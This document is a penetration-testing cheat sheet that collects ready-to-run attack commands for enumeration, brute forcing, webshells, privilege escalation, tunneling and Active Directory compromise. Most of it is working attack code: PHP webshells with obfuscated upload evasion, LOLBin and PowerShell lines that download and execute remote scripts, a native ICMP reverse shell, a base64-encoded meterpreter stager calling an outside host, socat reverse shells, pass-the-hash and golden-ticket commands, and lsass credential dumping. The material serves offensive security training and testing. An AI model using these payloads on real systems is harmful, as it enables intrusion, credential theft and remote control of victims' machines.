Table of Contents

• Enumeration
  • Generic Enumeration
  • HTTP Enumeration
  • SSH Enumeration
  • SMB Enumeraion
  • SNMP Enumeration
• Explotation
  • BOF Based Exploits
  • Weak Credentials
    • HTTP Bruteforce
    • Password Cracking
  • RCE
    • PHP RCE
    • RCE via webshell
    • RCE WMIC (powershellless)
    • LOLBins
• Privilege Escalation
  • Linux
  • Windows
  • Kernel Exploits
• Tunneling & Port Forwarding
  • SSH over TCP
  • TCP over HTTP
    • 1. reGeorg
    • 2. ABPTTS
  • HTTP Redirectors
    • 1. socat
    • 2. iptables
  • Windows Socks Proxy
  • Man's poor VPN
• Windows Active Directory
  • Bypass Applocker
  • Pass The Hash
  • Kerberos
  • Miscellaneous
• Reverse Shells
  • DNS with dnscat2
  • ICMP
  • HTTP through proxy
• Miscellaneous
  • Interactive Reverse Shell
  • rbash Jail Escape
  • Windows File Transfer
  • Bypass VPN routing restrictions
  • AV Bypass

Enumeration

Generic Enumeration

• port fullscan

• UDP scan

HTTP Enumeration

• dirsearch big.txt -e sh,txt,htm,php,cgi,html,pl,bak,old

• banner inspection

• review source code

• bruteforce with cewl-based dictionary

• searchsploit look at versions properly

• test all the paths with the exploits, mangle it

• nmap --script vuln

• nmap --script safe (ssl-cert, virtual hosts)

• always incercept with Burp

• nikto -h

• LFI, RFI, SQL, RCE, XXE, SSRF injections

• PUT method all directories

• Change POST body encoding with Burp

• Bruteforce parameter names

• dirsearch with cookie once authenticated

• download vulnerable application from exploit-db and examine it

SSH Enumeration

• shellshock

• bruteforce

• user_enum

• Debian OpenSSL Predictable PRNG

SMB Enumeration

• nmap --script vuln

• nmap --script smb*

• nmap --script smb-enum-shares,smb-ls

• enum4linux

SNMP Enumeration

Explotation

BOF exploit-based

• change shellcode

• make sure all badchars are removed

• read the exploit properly in case this makes changes in the shellcode

• capture traffic with wireshark making sure the entire shellcode is transmited

• run the exploit several times

• make sure the JMP ESP matches OS and language

Weak Credentials

HTTP Brute Force

• wfuzz POST

wfuzz --hc 404 -c -z list,admin -z file,/root/Documents/SecLists/Passwords/korelogic-password.txt -d "user=FUZZ&password=FUZ2Z" http://192.168.30.161/admin/index.php

• hydra POST

hydra 192.168.30.161 -s 80 http-form-post "/admin/index.php:user=^USER^&password=^PASS^:Moved Temporarily" -l admin -P /root/Documents/SecLists/Passwords/korelogic-password.txt -t 20

• wfuzz NTLM

wfuzz -c --ntlm "admin:FUZZ" -z file,/root/Documents/SecLists/Passwords/darkc0de.txt --hc 401 https://<ip>/api

• wfuzz Basic Auth through Proxy

wfuzz -c --hc 404,400,401 -z file,/root/Documents/Audits/Activos/names.txt -z file,/root/Documents/Audits/Activos/names.txt --basic "FUZZ:FUZ2Z" -p 127.0.0.1:8080 https://<ip>/api/v1/

Password Cracking

• zip

fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt file.zip

• /etc/shadow

unshadow passwd shadow > passwords
john --wordlist=/usr/share/wordlists/rockyou.txt passwords

• keepass

keepass2john /root/Desktop/NewDatabase.kdb > file
john -incremental:alpha -format=keepass file

• Bruteforce Salted

for j in $(cat cipher); do echo $j; for i in $(cat digestion); do /root/Documents/HTB/Hawk/bruteforce-salted-openssl/bruteforce-salted-openssl -t 10 -f /usr/share/wordlists/rockyou.txt -c $j -d $i ../miau.txt -1 2>&1 | grep "candidate" ; done ; done

openssl aes-256-cbc -d -in ../miau.txt -out result.txt -k friends

RCE

PHP RCE

test:

<?php phpinfo(); ?>

simple shell:

<?php system($_GET["c"]); ?>

<?php `$_GET["c"]`; ?>

file upload:

<?php file_put_contents('/var/www/html/uploads/test.php', '<?php system($_GET["c"]);?>'); ?>

file upload evasion: rot13 + urlencode

<?php $payload="%3C%3Fcuc%20flfgrz%28%24_TRG%5Bp%5D%29%3B%3F%3E"; file_put_contents('/var/www/html/uploads/test8.php', str_rot13(urldecode($payload))); ?>

RCE via webshell

• All pentest monkey reverse shells: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

• msfvenom x86/linux/shell_reverse_tcp -f elf

• Metasploit web_delivery module

• which wget | nc

RCE via WMIC

Powershell without powershell:

Generate payload with web_delivery

Encode Payload

Include payload in xsl file

wmic process get brief /format:"https://raw.githubusercontent.com/adon90/pentest_compilation/master/nops.xsl"

LOLBINS

SyncAppvPublishingServer

SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('http://192.168.48.129:8000/reverse.ps1') | IEX"

rundll32

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("regsvr32 /s /n /u /i:http://192.168.48.130:8080/bhRxgASz0.sct scrobj.dll")

Privilege Escalation

Linux Privilege Escalation

• sudo -l
• Kernel Exploits
• OS Exploits
• Password reuse (mysql, .bash_history, 000-default.conf...)
• Known binaries with suid flag and interactive (nmap)
• Custom binaries with suid flag either using other binaries or with command execution
• Writable files owned by root that get executed (cronjobs)
• MySQL as root
• Vulnerable services (chkrootkit, logrotate)
• Writable /etc/passwd
• Readable .bash_history
• SSH private key
• Listening ports on localhost
• /etc/fstab
• /etc/exports
• /var/mail
• Process as other user (root) executing something you have permissions to modify
• SSH public key + Predictable PRNG
• apt update hooking (Pre-Invoke)
• Capabilities

Windows Privilege Escalation

• Kernel Exploits
• OS Exploits
• Pass The Hash
• Password reuse
• DLL hijacking (Path)
• Vulnerable services
• Writable services binaries path
• Unquoted services
• Listening ports on localhost
• Registry keys

Kernel Exploits

Linux: https://github.com/lucyoa/kernel-exploits

Windows: https://github.com/abatchy17/WindowsExploits

Tunneling & Port Forwarding

SSH over HTTP (Squid)

socat

socat TCP-L:9999,fork,reuseaddr PROXY:192.168.1.41:127.0.0.1:22,proxyport=3128

ssh john@127.0.0.1 -p 9999

proxytunnel

proxytunnel -p 192.168.1.41:3128 -d 127.0.0.1:22 -a 5555

ssh john@127.0.0.1 -p 5555

proxychains

http 192.168.1.41 3128

proxychains ssh john@127.0.0.1

corkscrew

ssh john@192.168.1.41 -t /bin/sh

TCP over HTTP

For this technique, it is necessary to be able to upload a file to a webserver.

1. reGeorg

proxychains nmap -F -sT 127.0.0.1
proxychains mysql -u root -p -h 127.0.0.1
proxychains ssh localhost

Reference: https://sensepost.com/discover/tools/reGeorg/

2. ABBTTS

Reference: https://github.com/nccgroup/ABPTTS

HTTP Redirectors

1. socat

socat TCP4-LISTEN:80,fork TCP4:REMOTE-HOST-IP-ADDRESS:80

2. iptables

iptables -I INPUT -p tcp -m tcp --dport 80 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination REMOTEADDR:80
iptables -t nat -A POSTROUTING -j MASQUERADE
iptables -I FORWARD -j ACCEPT
iptables -P FORWARD ACCEPT
sysctl net.ipv4.ip_forward=1

Windows Socks Proxy

In this case this is going to be used to access Burp listening on a Windows NATed VM from other PCs in the same network as the Windows Host.

From the Windows Host machine (IP: 192.168.1.206)

Import-Module .\Invoke-SocksProxy.psm1
Invoke-SocksProxy -bindPort 1234

From other PC on the Windows Host machine network (IP: 192.168.1.69)

Configure proxychains.conf:

 socks4 	192.168.1.206 1234 

proxychains socat TCP-LISTEN:8081,fork,reuseaddr TCP:192.168.48.158:8080

This command ahead makes Burp (which is listening on the NATed machine) accessible from 192.168.1.69 on port 8081

Now, configure the Proxy in the browser:

All the traffic is logged on the NATed machine Burp.

Reference: https://github.com/p3nt4/Invoke-SocksProxy

Chisel

Attacker

 
 ./chisel_1.7.1_linux_amd64  server -p 8000 --reverse
 
 

Victim

 
 .\chisel.exe client 37.187.112.19:8000 R:socks
 
 

Attacker

 
 proxychains nmap -sT --top-ports --open 10 127.0.0.1
 
 

References: https://0xdf.gitlab.io/2020/08/10/tunneling-with-chisel-and-ssf-update.html

Man's Poor VPN

Traffic forward over SSH without needing to ssh -D <port>

sshuttle -vr user@192.168.207.57 1X0.1X.0.0/16

Proof:

Reference: http://teohm.com/blog/using-sshuttle-in-daily-work/

Windows AD Environment

Bypass Applocker

1. rundll32

rundll32.exe PowerShdll.dll,main

Reference: https://github.com/p3nt4/PowerShdll

2. Alternative powershell files

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise

Pass The Hash

Invoke a command Remotely

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/master/Invoke-WMIExec.ps1')
 
 Invoke-WMIExec -Target SVHOST2  -Username Administrator -Hash 78560bbcf70110fbfb5add17b5dfd762 -Command "powershell whoami | out-file \\SVHOST2\C$\windows\bitch.txt"

Invoke Mimikatz Remotely

Invoke-WMIExec -Target SVHOST2  -Username Administrator
-Hash 78560bbcf70110fbfb5add17b5dfd762 -Command "powershell -Enc SQBFA...AoA"

Pass The Hash with Mimikatz

 Invoke-Mimikatz -Command '"sekurlsa::pth /user:adm_maint /ntlm:cbe55f143fcb6d4687583af520123b89 /domain:lazuli"'

Kerberos

Generate Golden Ticket (Domain Admin Required)

Invoke-Mimikatz -Command '"lsadump::dcsync /domain:LAZULI.CORP /user:krbtgt"'

Invoke-Mimikatz  -Command '"kerberos::golden /user:adon /domain:LAZULI.CORP /krbtgt:ca1c2aeda9160094be9971bdc21c50aa /sid:S-1-5-21-1238634245-2147606590-2801756923 /id:500 /ticket:admin.kirbi /ptt"

Invoke-Mimikatz  -Command '"kerberos::ptt admin.kirbi"'

Miscellaneous

Invoke Mimikatz

IEX (New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz

Mimikatz C#

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /unsafe katz.cs

https://gist.github.com/caseysmithrc/87f6572547f633f13a8482a0c91fb7b7

In case compiler is outdated:

nuget install Microsoft.Net.Compilers

Runas Powershell

Start-Process powershell.exe -Verb runas Start-Process powershell.exe -Credential <user>

View Shares With Permissions

powershell.exe -exec bypass -Command "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1');Invoke-ShareFinder -CheckShareAccess"

View files that contain certain words recursively

 ls -Path \\SVHOST1.LAZULI.CORP\tmp$ -Include "*pass*","*
admin*","*secret*" -Recurse -ErrorAction SilentlyContinue

View files which name contains certain words recursively

dir -Path \\SVHOST1.LAZULI.CORP -Include "*pass*","*admin*","*secret*" -Recurse -ErrorAction SilentlyContinue

Connect to MSSQL Database

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/michaellwest/PowerShell-Modules/master/CorpApps/Invoke-SqlCommand.ps1')

Invoke-SqlCommand -Server 172.11.14.89 -Database master -Username sa -Password  -Query "exec sp_databases" 

Port Scanning

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1')

Invoke-Portscan -Hosts [ip] -TopPorts 50

View Domain Admins

 net groups /domain "Domain Admins"

View Domain Controlers

nltest /dclist: 

Get Hashes

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes

Check Pass The Hash with multiple servers

$hosts = @("SVDC1.LAZULI.CORP","SVFILES.LAZULI.CORP","SVHOST1.LAZULI.CORP","SVHOST2.LAZULI.CORP","SVFILES2.LAZULI.CORP")

foreach ($h in $hosts){ Invoke-WMIExec -Target $h -Username Administrator -Hash 78560bbcf70110fbfb5add17b5dfd762 -Command "hostname" -Verbose }

Run web_delivery with other identity

 runas-cabesha-webdelivery -url [url_webdelivery] -user [url] -pass [pass] 

References: https://www.hacklikeapornstar.com/

Reverse Shells

Reverse DNS Shell with dnscat powershell

Server

ruby dnscat2.rb -e open --no-cache tunnel.domain.com

Client

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1'); Start-Dnscat2 -Domain tunnel.domain.com -DNSServer 8.8.4.4 

Reference: https://github.com/lukebaggett/dnscat2-powershell

Reverse ICMP shell

Server

 

sysctl -w net.ipv4.icmp_echo_ignore_all=1
python icmpsh_m.py [IP atacante] [IP victima]

Client

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellIcmp.ps1'); Invoke-PowerShellIcmp -IPAddress [IP atacante]

Native ICMP shell

 
powershell -nop -Command "$IP = '10.10.14.42';$client = New-Object System.Net.NetworkInformation.Ping;$options = New-Object System.Net.NetworkInformation.PingOptions;$options.DontFragment = $true;$client.send($IP, 1000, ([Text.Encoding]::ASCII).GetBytes('pie'), $options);while($true){$comms = $client.Send($IP, 1000, ([Text.Encoding]::ASCII).GetBytes(''), $options);if($comms.Buffer){ $cmd = ([Text.Encoding]::ASCII).GetString($comms.Buffer);$reply = (Invoke-Expression -Command $cmd | Out-String);$client.send($IP, 1000, ([Text.Encoding]::ASCII).GetBytes($reply), $options);}}"

Reference: https://esgeeks.com/icmpsh-shell-reverse-con-icmp/

Reverse HTTP Shell through Proxy

use payload/python/meterpreter/reverse_http

python -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHN5cwp2aT1zeXMudmVyc2lvbl9pbmZvCnVsPV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bdmlbMF1dLGZyb21saXN0PVsnYnVpbGRfb3BlbmVyJywnUHJveHlIYW5kbGVyJ10pCmhzPVtdCmhzLmFwcGVuZCh1bC5Qcm94eUhhbmRsZXIoeydodHRwJzonaHR0cDovLzE5Mi4xNjguMTA3LjIzMjo4MDgwJ30pKQpvPXVsLmJ1aWxkX29wZW5lcigqaHMpCm8uYWRkaGVhZGVycz1bKCdVc2VyLUFnZW50JywnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBUcmlkZW50LzcuMDsgcnY6MTEuMCkgbGlrZSBHZWNrbycpXQpleGVjKG8ub3BlbignaHR0cDovLzE3OC42Mi41OC4zNTo4MC9qOTkzQScpLnJlYWQoKSkK')))"

Finally we set up the handler:

Miscellaneous

Interactive Reverse Shell

Method 1

Attacker:

socat file:`tty`,raw,echo=0 TCP-L:4444

Victim:

wget -q http://10.10.14.16/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.16:4444

Socat Binary: https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat

Method 2

In reverse shell

python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z

In kali

echo $TERM
stty -a
stty raw -echo
fg

In reverse shell

reset
export SHELL=bash
export TERM=xterm-256color
stty rows  columns 
bash

rbash Jail Escape

RequestTTY no

ssh -o RequestTTY=no user@ip

and the result would be:

Bash --noprofile

ssh monitor@127.0.0.1 -t "bash --noprofile" 

Windows File Transfer

bitsadmin

bitsadmin /transfer debjob /download /priority normal http://<ip>/shell.php c:\xampp\htdocs\shell.php

cscript wget.vbs (code on the repo)

cscript wget.vbs http://<ip>/test.txt test.txt

powershell

powershell -c "(new-object System.Net.WebClient).Downloadfile('http://<ip>/exploit.exe', 'C:\Windows\temp\exploit.txt')"

ftp

client:

echo open [ip] [port] > ftpscript.txt
echo anonymous>> ftpscript.txt
echo PASS >> ftpscript.txt
echo bin >> ftpscript.txt
echo get meter.exe>> ftpscript.txt
echo quit >> ftpscript.txt
ftp -s:ftpscript.txt

server:

python -m pyftpdlib --port=2121 --write

wget.exe

Upload to vulnerable server from kali: /usr/share/windows-binaries/wget.exe

wget.exe http://<ip>/file file

certutil

certutil -urlcache -split -f https://<ip>/file.txt file.txt

Bypass VPN routing restrictions

openconnect vpnXXX02.XXXX.com -u XX -s ‘vpn-slice XXX.46.0.0/16 hostname3 mantis=XXX.41.2XX.68’

Reference: https://github.com/dlenski/vpn-slice

AV Bypass

Lsass Dump

certutil.exe -urlcache -f https://raw.githubusercontent.com/adon90/pentest_compilation/master/PostExplotation/mimi.vbs C:\Windows\temp\mimi.vbs

cscript mimi.vbs lsass.exe

pypykatz lsa minidump lsass.bin | tee -a dump1.txt 

References: https://esmyl.medium.com/windows-memory-dump-cheat-sheet-23f32079304a

SharpSploit

Start-Process "powershell" "unblock-file .\SharpSploit.dll"

Add-Type -Path .\SharpSploit.dll

[SharpSploit.Execution.Shell]::ShellExecute("regsvr32 /s /n /u /i:http://192.168.48.151:9999/QuHBoZ.sct scrobj.dll")

References: https://cobbr.io/SharpSploit.html

Workflow.Compiler

 C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe test.xml results.xml 

References:

https://www.codeproject.com/Articles/25983/How-to-Execute-a-Command-in-C https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb